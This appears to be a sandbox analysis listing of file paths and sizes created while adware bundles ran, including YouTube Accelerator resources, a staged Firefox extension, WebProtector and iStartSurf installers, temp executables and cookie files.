    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF207.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkEFBB.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF0C7.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1E2.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1E0.tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (172969 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3856_YouTubeAcceleratorService.log_tmp (50 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF12C.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1900_testlsp.log_tmp (151 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1900.log_tmp (815 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1F5.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[2] (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_installer[1].exe (17968 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\chrome (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\Observer.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ein.exe (19778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SetupWPP[1].exe (16240 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\Timer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[5].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ZipDLL.dll (3608 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\LiveUpdateWPP_is[1].exe (17248 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[5].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[2] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\9813[1].xpi (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\uinst.exe (19050 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz70DD.tmp (29413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[3] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[1] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\ffwebex.xpi (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[2] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\aints.exe (17874 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\nsProcess.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\chrome.manifest (355 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz6104.tmp\ffex\rcted\modules\GUID.js (599 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
    C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607d9b71d8f3494f867a2b514a49c4e9[1].htm (38647 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6N033XO8.txt (686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ga[1].js (23650 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\K74VBEGF.txt (284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I30HGBN3.txt (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoLightGrayStripesBG[1].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LK9OQO07.txt (686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7zip_32[1].png (145 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q1B8I1UZ.txt (688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L78IFRUF.txt (686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (5886 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1053 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-webprotectorplus[1].htm (1805 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H27HXF3Y.txt (544 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SSW2T2UV.txt (685 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y9QFD891.txt (688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp (34243 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PIZSIHXE.txt (683 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-youtubeaccelerator[1].htm (2713 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\11M3S3OA.txt (686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z5XBA8OV.txt (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\A4AZ3YCR.txt (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X4J67704.txt (687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VLUZU9TN.txt (686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\398.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0TXYV4A8.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2H1PGLRD.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KA44EJ38.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SGBXYV3J.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\28FU1I4D.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HX8SCL0W.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5TYB4D2H.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\U1OIZ7O6.txt (127 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-youtubeaccelerator[2].htm (2744 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\69fcc8129cc3cf46b36b738c6b72bbc0[1].htm (36203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FR4MH1AG.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EQ2OC3YL.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\973F.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1058 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MFYPLQNX.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (4339 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DK7W10AL.txt (611 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[3].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1276 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1FK8JVVY.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HSAC9DOR.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.2 (5224 bytes)
